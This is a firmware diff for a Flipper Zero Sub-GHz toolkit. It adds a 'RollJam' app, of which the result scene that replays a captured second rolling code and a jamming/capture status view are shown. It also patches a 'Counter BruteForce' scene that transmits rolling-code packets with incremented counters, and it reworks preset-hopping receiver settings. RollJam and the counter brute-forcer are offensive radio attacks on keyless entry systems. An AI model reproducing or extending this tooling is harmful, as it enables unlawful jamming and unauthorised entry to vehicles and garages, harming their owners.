rolljam_save_signal(app, &app->signal_second);
popup_reset(app->popup);
popup_set_header(
app->popup, "Saved!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
notification_message(app->notification, &sequence_success);
return true;
} else if(event.event == RollJamEventReplayNow) {
// Show sending screen
popup_reset(app->popup);
popup_set_header(
app->popup, "Transmitting...",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup, "Sending 2nd code NOW",
64, 38, AlignCenter, AlignCenter);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
// Transmit second signal
rolljam_transmit_signal(app, &app->signal_second);
notification_message(app->notification, &sequence_success);
popup_set_header(
app->popup, "Done!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"2nd code transmitted!\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_result_on_exit(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
popup_reset(app->popup);
}

View File

@@ -0,0 +1,53 @@
#include "rolljam_attack_view.h"
#include <gui/canvas.h>
// ============================================================
// Custom drawing for attack status
// Reserved for future use with a custom View
// Currently the app uses Widget modules instead
// ============================================================
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) {
canvas_clear(canvas);
// Title bar
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(
canvas, 64, 2, AlignCenter, AlignTop, state->phase_text);
// Separator
canvas_draw_line(canvas, 0, 14, 128, 14);
// Status
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 18, AlignCenter, AlignTop, state->status_text);
// Indicators
int y = 32;
if(state->jamming) {
canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]");
// Animated dots could go here
} else {
canvas_draw_str(canvas, 4, y, "JAM: [OFF]");
}
y += 12;
if(state->capturing) {
canvas_draw_str(canvas, 4, y, "RX: [LISTENING]");
} else {
canvas_draw_str(canvas, 4, y, "RX: [OFF]");
}
y += 12;
// Signal counter
char buf[32];
snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count);
canvas_draw_str(canvas, 4, y, buf);
// Footer
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel");
}

View File

@@ -0,0 +1,23 @@
#pragma once
#include "../rolljam.h"
/*
* Custom view for attack visualization.
* Currently the app uses Widget and DialogEx for display.
* This file is reserved for a future custom canvas-drawn view
* (e.g., signal waveform display, animated jamming indicator).
*
* For now it provides a simple status draw function.
*/
typedef struct {
const char* phase_text;
const char* status_text;
bool jamming;
bool capturing;
int signal_count;
} AttackViewState;
// Draw attack status on a canvas (for future custom View use)
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state);

View File

@@ -8,6 +8,7 @@ App(
"lfrfid",
"nfc",
"subghz",
"rolljam",
"subghz_bruteforcer",
"archive",
"subghz_remote",

View File

@@ -30,11 +30,9 @@ static const char* const known_ext[] = {
[ArchiveFileTypeBadUsb] = ".txt",
[ArchiveFileTypeU2f] = "?",
[ArchiveFileTypeApplication] = ".fap",
[ArchiveFileTypeJS] = ".js",
[ArchiveFileTypeUpdateManifest] = ".fuf",
[ArchiveFileTypeFolder] = "?",
[ArchiveFileTypeUnknown] = "*",
[ArchiveFileTypeAppOrJs] = ".fap|.js",
[ArchiveFileTypeSetting] = "?",
};
@@ -47,7 +45,7 @@ static const ArchiveFileTypeEnum known_type[] = {
[ArchiveTabInfrared] = ArchiveFileTypeInfrared,
[ArchiveTabBadUsb] = ArchiveFileTypeBadUsb,
[ArchiveTabU2f] = ArchiveFileTypeU2f,
[ArchiveTabApplications] = ArchiveFileTypeAppOrJs,
[ArchiveTabApplications] = ArchiveFileTypeApplication,
[ArchiveTabInternal] = ArchiveFileTypeUnknown,
[ArchiveTabBrowser] = ArchiveFileTypeUnknown,
};

View File

@@ -18,10 +18,8 @@ typedef enum {
ArchiveFileTypeU2f,
ArchiveFileTypeApplication,
ArchiveFileTypeUpdateManifest,
ArchiveFileTypeJS,
ArchiveFileTypeFolder,
ArchiveFileTypeUnknown,
ArchiveFileTypeAppOrJs,
ArchiveFileTypeSetting,
ArchiveFileTypeLoading,
} ArchiveFileTypeEnum;

View File

@@ -29,8 +29,6 @@ static const char* archive_get_flipper_app_name(ArchiveFileTypeEnum file_type) {
return "U2F";
case ArchiveFileTypeUpdateManifest:
return "UpdaterApp";
case ArchiveFileTypeJS:
return "JS Runner";
case ArchiveFileTypeFolder:
return "Archive";
default:

View File

@@ -36,8 +36,6 @@ static const Icon* ArchiveItemIcons[] = {
[ArchiveFileTypeFolder] = &I_dir_10px,
[ArchiveFileTypeUnknown] = &I_unknown_10px,
[ArchiveFileTypeLoading] = &I_loading_10px,
[ArchiveFileTypeJS] = &I_js_script_10px,
[ArchiveFileTypeAppOrJs] = &I_unknown_10px,
};
void archive_browser_set_callback(

View File

@@ -6,7 +6,7 @@ App(
requires=["gui","dialogs"],
stack_size=2 * 1024,
order=11,
fap_icon="images/subbrute_10px.png",
fap_icon="icon.png",
fap_category="Sub-GHz",
fap_icon_assets="images",
)

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

View File

@@ -1,5 +1,6 @@
#include "subghz_txrx_i.h" // IWYU pragma: keep
#include <math.h>
#include <lib/subghz/protocols/protocol_items.h>
#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
@@ -34,6 +35,9 @@ SubGhzTxRx* subghz_txrx_alloc(void) {
instance->txrx_state = SubGhzTxRxStateSleep;
subghz_txrx_hopper_set_state(instance, SubGhzHopperStateOFF);
subghz_txrx_preset_hopper_set_state(instance, SubGhzPresetHopperStateOFF);
instance->preset_hopper_idx = 0;
instance->preset_hopper_timeout = 0;
subghz_txrx_speaker_set_state(instance, SubGhzSpeakerStateDisable);
subghz_txrx_set_debug_pin_state(instance, false);
@@ -494,52 +498,153 @@ void subghz_txrx_hopper_pause(SubGhzTxRx* instance) {
}
}
#define SUBGHZ_MOD_HOPPER_DWELL_TICKS 3
bool subghz_txrx_mod_hopper_get_running(SubGhzTxRx* instance) {
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold) {
furi_assert(instance);
return instance->mod_hopper_running;
}
void subghz_txrx_mod_hopper_set_running(SubGhzTxRx* instance, bool running) {
furi_assert(instance);
instance->mod_hopper_running = running;
if(running) instance->mod_hopper_timer = SUBGHZ_MOD_HOPPER_DWELL_TICKS;
}
void subghz_txrx_mod_hopper_update(SubGhzTxRx* instance) {
furi_assert(instance);
if(!instance->mod_hopper_running) return;
if(instance->mod_hopper_timer > 0) {
instance->mod_hopper_timer--;
switch(instance->preset_hopper_state) {
case SubGhzPresetHopperStateOFF:
case SubGhzPresetHopperStatePause:
return;
case SubGhzPresetHopperStateRSSITimeOut:
if(instance->preset_hopper_timeout != 0) {
instance->preset_hopper_timeout--;
return;
}
break;
default:
break;
}
instance->mod_hopper_timer = SUBGHZ_MOD_HOPPER_DWELL_TICKS;
size_t count = subghz_setting_get_preset_count(instance->setting);
if(count == 0) return;
if(instance->preset_hopper_state != SubGhzPresetHopperStateRSSITimeOut) {
float rssi = subghz_devices_get_rssi(instance->radio_device);
// Advance index, skip CUSTOM presets
uint8_t tries = 0;
do {
instance->mod_hopper_idx = (instance->mod_hopper_idx + 1) % count;
tries++;
} while(tries < count &&
strcmp(
subghz_setting_get_preset_name(instance->setting, instance->mod_hopper_idx),
"CUSTOM") == 0);
if(rssi > stay_threshold) {
instance->preset_hopper_timeout = 20;
instance->preset_hopper_state = SubGhzPresetHopperStateRSSITimeOut;
return;
}
} else {
instance->preset_hopper_state = SubGhzPresetHopperStateRunning;
}
const char* preset_name =
subghz_setting_get_preset_name(instance->setting, instance->mod_hopper_idx);
uint8_t* preset_data =
subghz_setting_get_preset_data(instance->setting, instance->mod_hopper_idx);
size_t preset_data_size =
subghz_setting_get_preset_data_size(instance->setting, instance->mod_hopper_idx);
size_t hopper_preset_count = subghz_setting_get_hopper_preset_count(instance->setting);
subghz_txrx_set_preset(
instance, preset_name, instance->preset->frequency, preset_data, preset_data_size);
subghz_txrx_rx_start(instance);
if(hopper_preset_count > 0) {
if(instance->preset_hopper_idx < hopper_preset_count - 1) {
instance->preset_hopper_idx++;
} else {
instance->preset_hopper_idx = 0;
}
size_t actual_preset_idx = subghz_setting_get_hopper_preset_index(
instance->setting, instance->preset_hopper_idx);
if(instance->txrx_state == SubGhzTxRxStateRx) {
subghz_txrx_rx_end(instance);
}
if(instance->txrx_state == SubGhzTxRxStateIDLE) {
const char* old_preset_name = furi_string_get_cstr(instance->preset->name);
const char* preset_name =
subghz_setting_get_preset_name(instance->setting, actual_preset_idx);
subghz_txrx_set_preset_internal(
instance, instance->preset->frequency, actual_preset_idx, 0);
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
} else {
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
subghz_txrx_rx(instance, instance->preset->frequency);
}
} else {
size_t preset_count = subghz_setting_get_preset_count(instance->setting);
if(instance->preset_hopper_idx < preset_count - 1) {
instance->preset_hopper_idx++;
} else {
instance->preset_hopper_idx = 0;
}
if(instance->txrx_state == SubGhzTxRxStateRx) {
subghz_txrx_rx_end(instance);
}
if(instance->txrx_state == SubGhzTxRxStateIDLE) {
const char* old_preset_name = furi_string_get_cstr(instance->preset->name);
const char* preset_name =
subghz_setting_get_preset_name(instance->setting, instance->preset_hopper_idx);
subghz_txrx_set_preset_internal(
instance, instance->preset->frequency, instance->preset_hopper_idx, 0);
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
} else {
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
subghz_txrx_rx(instance, instance->preset->frequency);
}
}
}
SubGhzPresetHopperState subghz_txrx_preset_hopper_get_state(SubGhzTxRx* instance) {
furi_assert(instance);
return instance->preset_hopper_state;
}
void subghz_txrx_preset_hopper_set_state(SubGhzTxRx* instance, SubGhzPresetHopperState state) {
furi_assert(instance);
instance->preset_hopper_state = state;
if(state == SubGhzPresetHopperStateRunning) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
}
void subghz_txrx_preset_hopper_unpause(SubGhzTxRx* instance) {
furi_assert(instance);
if(instance->preset_hopper_state == SubGhzPresetHopperStatePause) {
instance->preset_hopper_state = SubGhzPresetHopperStateRunning;
}
}
void subghz_txrx_preset_hopper_pause(SubGhzTxRx* instance) {
furi_assert(instance);
if(instance->preset_hopper_state == SubGhzPresetHopperStateRunning) {
instance->preset_hopper_state = SubGhzPresetHopperStatePause;
}
}
void subghz_txrx_preset_hopper_reset_index(SubGhzTxRx* instance, size_t index) {
furi_assert(instance);
instance->preset_hopper_idx = index;
}
void subghz_txrx_speaker_on(SubGhzTxRx* instance) {

View File

@@ -164,29 +164,17 @@ void subghz_txrx_hopper_unpause(SubGhzTxRx* instance);
*/
void subghz_txrx_hopper_pause(SubGhzTxRx* instance);
/**
* Update modulation (preset) CC1101 in automatic mode (mod hopper)
* Cycles through available presets at a fixed dwell time.
*
* @param instance Pointer to a SubGhzTxRx
*/
void subghz_txrx_mod_hopper_update(SubGhzTxRx* instance);
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold);
/**
* Set mod hopper running state
*
* @param instance Pointer to a SubGhzTxRx
* @param running true to enable, false to disable
*/
void subghz_txrx_mod_hopper_set_running(SubGhzTxRx* instance, bool running);
SubGhzPresetHopperState subghz_txrx_preset_hopper_get_state(SubGhzTxRx* instance);
/**
* Get mod hopper running state
*
* @param instance Pointer to a SubGhzTxRx
* @return true if mod hopping is active
*/
bool subghz_txrx_mod_hopper_get_running(SubGhzTxRx* instance);
void subghz_txrx_preset_hopper_set_state(SubGhzTxRx* instance, SubGhzPresetHopperState state);
void subghz_txrx_preset_hopper_unpause(SubGhzTxRx* instance);
void subghz_txrx_preset_hopper_pause(SubGhzTxRx* instance);
void subghz_txrx_preset_hopper_reset_index(SubGhzTxRx* instance, size_t index);
/**
* Speaker on

View File

@@ -19,9 +19,9 @@ struct SubGhzTxRx {
bool is_database_loaded;
SubGhzHopperState hopper_state;
uint8_t mod_hopper_idx; // index into setting presets (wraps around)
uint8_t mod_hopper_timer; // countdown ticks before advancing modulation
bool mod_hopper_running; // is mod hopping active
uint8_t preset_hopper_timeout;
size_t preset_hopper_idx;
SubGhzPresetHopperState preset_hopper_state;
SubGhzTxRxState txrx_state;
SubGhzSpeakerState speaker_state;

View File

@@ -29,6 +29,14 @@ typedef enum {
SubGhzHopperStateRSSITimeOut,
} SubGhzHopperState;
/** SubGhzPresetHopperState state */
typedef enum {
SubGhzPresetHopperStateOFF,
SubGhzPresetHopperStateRunning,
SubGhzPresetHopperStatePause,
SubGhzPresetHopperStateRSSITimeOut,
} SubGhzPresetHopperState;
/** SubGhzSpeakerState state */
typedef enum {
SubGhzSpeakerStateDisable,

View File

@@ -40,3 +40,8 @@ Version: 1
#Custom_preset_name: AM_2
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
# Presets used for preset hopping mode (cycles through these modulations)
#Hopping_Preset: AM650
#Hopping_Preset: FM238
#Hopping_Preset: FM476

View File

@@ -19,7 +19,7 @@ typedef struct {
uint32_t step;
CounterBfState state;
uint32_t packets_sent;
uint32_t tick_wait; // ticks remaining before next TX
uint32_t tick_wait;
} CounterBfContext;
#define CounterBfEventStart (0xC0)
@@ -27,7 +27,6 @@ typedef struct {
static void counter_bf_widget_callback(GuiButtonType result, InputType type, void* context) {
SubGhz* subghz = context;
// Single press toggles start/stop
if(result == GuiButtonTypeCenter && type == InputTypeShort) {
view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventStart);
}
@@ -36,7 +35,8 @@ static void counter_bf_widget_callback(GuiButtonType result, InputType type, voi
static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
widget_reset(subghz->widget);
FuriString* str = furi_string_alloc();
furi_string_printf(str,
furi_string_printf(
str,
"Counter BruteForce\n"
"Cnt: 0x%08lX\n"
"Sent: %lu pkts\n"
@@ -45,28 +45,48 @@ static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
ctx->packets_sent,
ctx->start_cnt);
widget_add_string_multiline_element(
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary,
furi_string_get_cstr(str));
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary, furi_string_get_cstr(str));
furi_string_free(str);
const char* btn_label = ctx->state == CounterBfStateRunning ? "Stop" : "Start";
widget_add_button_element(
subghz->widget, GuiButtonTypeCenter, btn_label,
counter_bf_widget_callback, subghz);
subghz->widget,
GuiButtonTypeCenter,
btn_label,
counter_bf_widget_callback,
subghz);
}
static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
// Escribir el Cnt final directamente en el archivo .sub en disco.
// No usar subghz_save_protocol_to_file() porque ese serializa el estado
// actual del encoder (que puede tener el Cnt ya incrementado internamente).
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
if(!flipper_format_update_uint32(file_fff, "Cnt", &ctx->current_cnt, 1)) {
FURI_LOG_E(TAG, "Failed to update Cnt in .sub file");
}
} else {
FURI_LOG_E(TAG, "Failed to open .sub file for Cnt write");
}
flipper_format_free(file_fff);
furi_record_close(RECORD_STORAGE);
}
static void counter_bf_send(SubGhz* subghz, CounterBfContext* ctx) {
// Stop any previous TX
subghz_txrx_stop(subghz->txrx);
// Use official counter override mechanism
subghz_block_generic_global_counter_override_set(ctx->current_cnt);
// Increase repeat for stronger signal
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint32_t repeat = 20;
flipper_format_insert_or_update_uint32(fff, "Repeat", &repeat, 1);
subghz_block_generic_global.endless_tx = false;
uint32_t repeat = 20;
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Repeat", &repeat, 1);
// Actualizar Cnt DESPUES de Repeat (update es secuencial en el buffer)
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Cnt", &ctx->current_cnt, 1);
subghz_tx_start(subghz, fff);
ctx->packets_sent++;
@@ -81,20 +101,36 @@ void subghz_scene_counter_bf_on_enter(void* context) {
ctx->state = CounterBfStateIdle;
ctx->step = 1;
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
uint32_t cnt = 0;
flipper_format_rewind(fff);
flipper_format_read_uint32(fff, "Cnt", &cnt, 1);
ctx->current_cnt = cnt;
ctx->start_cnt = cnt;
// FIX: Leer el Cnt DIRECTAMENTE del archivo en disco con un FlipperFormat
// propio, completamente separado del fff en memoria (que puede tener el Cnt
// modificado por TXs previas y no refleja el estado real del .sub).
{
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
uint32_t cnt = 0;
if(flipper_format_read_uint32(file_fff, "Cnt", &cnt, 1)) {
ctx->current_cnt = cnt;
ctx->start_cnt = cnt;
} else {
FURI_LOG_W(TAG, "Cnt field not found in file");
}
} else {
FURI_LOG_E(TAG, "Failed to open .sub file for Cnt read");
}
flipper_format_free(file_fff);
furi_record_close(RECORD_STORAGE);
}
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneCounterBf, (uint32_t)(uintptr_t)ctx);
// Disable auto-increment
// Deshabilitar auto-increment del protocolo para controlar el Cnt manualmente
furi_hal_subghz_set_rolling_counter_mult(0);
// Reload protocol to ensure preset and tx_power are properly configured
// Recargar el protocolo DESPUES de haber leído el Cnt del disco,
// para preparar el fff para TX sin que pise nuestro valor leído.
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
counter_bf_draw(subghz, ctx);
@@ -110,16 +146,17 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == CounterBfEventStart) {
if(ctx->state != CounterBfStateRunning) {
// Start
ctx->state = CounterBfStateRunning;
ctx->tick_wait = 0;
subghz->state_notifications = SubGhzNotificationStateTx;
counter_bf_send(subghz, ctx);
} else {
// Stop
// FIX 2: Al detener, guardar el contador actual en el .sub
// para que al volver a emular manualmente continúe desde acá.
ctx->state = CounterBfStateStopped;
subghz_txrx_stop(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateIDLE;
counter_bf_save(subghz, ctx);
}
counter_bf_draw(subghz, ctx);
return true;
@@ -130,7 +167,6 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
if(ctx->tick_wait > 0) {
ctx->tick_wait--;
} else {
// Time to send next packet
ctx->current_cnt += ctx->step;
counter_bf_send(subghz, ctx);
counter_bf_draw(subghz, ctx);
@@ -138,16 +174,11 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
}
return true;
} else if(event.type == SceneManagerEventTypeBack) {
subghz_block_generic_global.endless_tx = false;
subghz_txrx_stop(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateIDLE;
// Save counter to file
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Cnt", &ctx->current_cnt, 1);
subghz_save_protocol_to_file(
subghz, fff, furi_string_get_cstr(subghz->file_path));
// FIX 2 (también en Back): guardar siempre al salir
counter_bf_save(subghz, ctx);
furi_hal_subghz_set_rolling_counter_mult(1);
free(ctx);
@@ -160,6 +191,5 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
void subghz_scene_counter_bf_on_exit(void* context) {
SubGhz* subghz = context;
widget_reset(subghz->widget);
subghz_block_generic_global.endless_tx = false;
subghz->state_notifications = SubGhzNotificationStateIDLE;
}

View File

@@ -213,7 +213,12 @@ void subghz_scene_receiver_on_enter(void* context) {
} else {
subghz_txrx_hopper_set_state(subghz->txrx, SubGhzHopperStateOFF);
}
subghz_txrx_mod_hopper_set_running(subghz->txrx, subghz->last_settings->enable_mod_hopping);
if(subghz->last_settings->enable_preset_hopping) {
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateRunning);
} else {
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
}
subghz_txrx_rx_start(subghz->txrx);
subghz_view_receiver_set_idx_menu(subghz->subghz_receiver, subghz->idx_menu_chosen);
@@ -242,6 +247,7 @@ bool subghz_scene_receiver_on_event(void* context, SceneManagerEvent event) {
subghz->state_notifications = SubGhzNotificationStateIDLE;
subghz_txrx_stop(subghz->txrx);
subghz_txrx_hopper_set_state(subghz->txrx, SubGhzHopperStateOFF);
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
subghz_txrx_set_rx_callback(subghz->txrx, NULL, subghz);
if(subghz_rx_key_state_get(subghz) == SubGhzRxKeyStateAddKey) {
@@ -302,8 +308,8 @@ bool subghz_scene_receiver_on_event(void* context, SceneManagerEvent event) {
subghz_txrx_hopper_update(subghz->txrx, subghz->last_settings->hopping_threshold);
subghz_scene_receiver_update_statusbar(subghz);
}
if(subghz_txrx_mod_hopper_get_running(subghz->txrx)) {
subghz_txrx_mod_hopper_update(subghz->txrx);
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) != SubGhzPresetHopperStateOFF) {
subghz_txrx_preset_hopper_update(subghz->txrx, subghz->last_settings->preset_hopping_threshold);
subghz_scene_receiver_update_statusbar(subghz);
}

View File

@@ -1,13 +1,14 @@
#include "../subghz_i.h"
#include <lib/toolbox/value_index.h>
#include <math.h>
#define TAG "SubGhzSceneReceiverConfig"
enum SubGhzSettingIndex {
SubGhzSettingIndexFrequency,
SubGhzSettingIndexHopping,
SubGhzSettingIndexModulation,
SubGhzSettingIndexModHopping,
SubGhzSettingIndexHopping,
SubGhzSettingIndexPresetHopping,
SubGhzSettingIndexBinRAW,
SubGhzSettingIndexIgnoreReversRB2,
SubGhzSettingIndexIgnoreAlarms,
@@ -81,6 +82,36 @@ const float hopping_mode_value[HOPPING_MODE_COUNT] = {
-40.0f,
};
#define PRESET_HOPPING_MODE_COUNT 12
const char* const preset_hopping_mode_text[PRESET_HOPPING_MODE_COUNT] = {
"OFF",
"-90dBm",
"-85dBm",
"-80dBm",
"-75dBm",
"-70dBm",
"-65dBm",
"-60dBm",
"-55dBm",
"-50dBm",
"-45dBm",
"-40dBm",
};
const float preset_hopping_mode_value[PRESET_HOPPING_MODE_COUNT] = {
NAN,
-90.0f,
-85.0f,
-80.0f,
-75.0f,
-70.0f,
-65.0f,
-60.0f,
-55.0f,
-50.0f,
-45.0f,
-40.0f,
};
#define COMBO_BOX_COUNT 2
const uint32_t hopping_value[COMBO_BOX_COUNT] = {
@@ -153,6 +184,23 @@ uint8_t subghz_scene_receiver_config_next_preset(const char* preset_name, void*
return index;
}
uint8_t subghz_scene_receiver_config_preset_hopper_value_index(void* context) {
furi_assert(context);
SubGhz* subghz = context;
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateOFF) {
return 0;
} else {
variable_item_set_current_value_text(
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexModulation),
" -----");
return value_index_float(
subghz->last_settings->preset_hopping_threshold,
preset_hopping_mode_value,
PRESET_HOPPING_MODE_COUNT);
}
}
uint8_t subghz_scene_receiver_config_hopper_value_index(void* context) {
furi_assert(context);
SubGhz* subghz = context;
@@ -213,19 +261,21 @@ static void subghz_scene_receiver_config_set_preset(VariableItem* item) {
uint8_t index = variable_item_get_current_value_index(item);
SubGhzSetting* setting = subghz_txrx_get_setting(subghz->txrx);
const char* preset_name = subghz_setting_get_preset_name(setting, index);
variable_item_set_current_value_text(item, preset_name);
//subghz->last_settings->preset = index;
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
uint8_t* preset_data = subghz_setting_get_preset_data(setting, index);
size_t preset_data_size = subghz_setting_get_preset_data_size(setting, index);
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateOFF) {
const char* preset_name = subghz_setting_get_preset_name(setting, index);
variable_item_set_current_value_text(item, preset_name);
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
uint8_t* preset_data = subghz_setting_get_preset_data(setting, index);
size_t preset_data_size = subghz_setting_get_preset_data_size(setting, index);
//Edit TX power, if necessary.
subghz_txrx_set_tx_power(preset_data, preset_data_size, subghz->tx_power);
subghz_txrx_set_tx_power(preset_data, preset_data_size, subghz->tx_power);
subghz_txrx_set_preset(
subghz->txrx, preset_name, preset.frequency, preset_data, preset_data_size);
subghz->last_settings->preset_index = index;
subghz_txrx_set_preset(
subghz->txrx, preset_name, preset.frequency, preset_data, preset_data_size);
subghz->last_settings->preset_index = index;
} else {
variable_item_set_current_value_index(item, subghz->last_settings->preset_index);
}
}
static void subghz_scene_receiver_config_set_hopping(VariableItem* item) {
@@ -274,15 +324,57 @@ static void subghz_scene_receiver_config_set_hopping(VariableItem* item) {
subghz->last_settings->hopping_threshold = hopping_mode_value[index];
subghz_txrx_hopper_set_state(
subghz->txrx, index != 0 ? SubGhzHopperStateRunning : SubGhzHopperStateOFF);
VariableItem* preset_hopping_item =
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexPresetHopping);
variable_item_set_locked(
preset_hopping_item,
index != 0,
"Turn off\nHopping\nfirst!");
}
static void subghz_scene_receiver_config_set_mod_hopping(VariableItem* item) {
static void subghz_scene_receiver_config_set_preset_hopping(VariableItem* item) {
SubGhz* subghz = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, combobox_text[index]);
bool enabled = index == 1;
subghz->last_settings->enable_mod_hopping = enabled;
subghz_txrx_mod_hopper_set_running(subghz->txrx, enabled);
SubGhzSetting* setting = subghz_txrx_get_setting(subghz->txrx);
VariableItem* preset_item =
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexModulation);
variable_item_set_current_value_text(item, preset_hopping_mode_text[index]);
if(index == 0) {
SubGhzRadioPreset current_preset = subghz_txrx_get_preset(subghz->txrx);
const char* current_preset_name = furi_string_get_cstr(current_preset.name);
int current_preset_index = subghz_setting_get_inx_preset_by_name(setting, current_preset_name);
if(current_preset_index >= 0) {
subghz->last_settings->preset_index = current_preset_index;
}
variable_item_set_current_value_text(preset_item, current_preset_name);
variable_item_set_current_value_index(preset_item, subghz->last_settings->preset_index);
subghz->last_settings->enable_preset_hopping = false;
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
} else {
bool was_running = (subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateRunning);
if(was_running) {
subghz_txrx_preset_hopper_pause(subghz->txrx);
}
subghz->last_settings->preset_hopping_threshold = preset_hopping_mode_value[index];
variable_item_set_current_value_text(preset_item, " -----");
variable_item_set_current_value_index(preset_item, subghz->last_settings->preset_index);
subghz->last_settings->enable_preset_hopping = true;
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateRunning);
}
VariableItem* hopping_item =
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexHopping);
variable_item_set_locked(
hopping_item,
index != 0,
"Turn off\nPreset\nHopping\nfirst!");
}
static void subghz_scene_receiver_config_set_speaker(VariableItem* item) {
@@ -385,8 +477,9 @@ static void subghz_scene_receiver_config_var_list_enter_callback(void* context,
subghz_txrx_hopper_set_state(subghz->txrx, hopping_value[default_index]);
subghz->last_settings->enable_hopping = hopping_value[default_index];
subghz->last_settings->enable_mod_hopping = false;
subghz_txrx_mod_hopper_set_running(subghz->txrx, false);
subghz->last_settings->enable_preset_hopping = false;
subghz->last_settings->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
variable_item_list_set_selected_item(subghz->variable_item_list, default_index);
variable_item_list_reset(subghz->variable_item_list);
@@ -451,16 +544,26 @@ void subghz_scene_receiver_config_on_enter(void* context) {
variable_item_set_current_value_index(item, value_index);
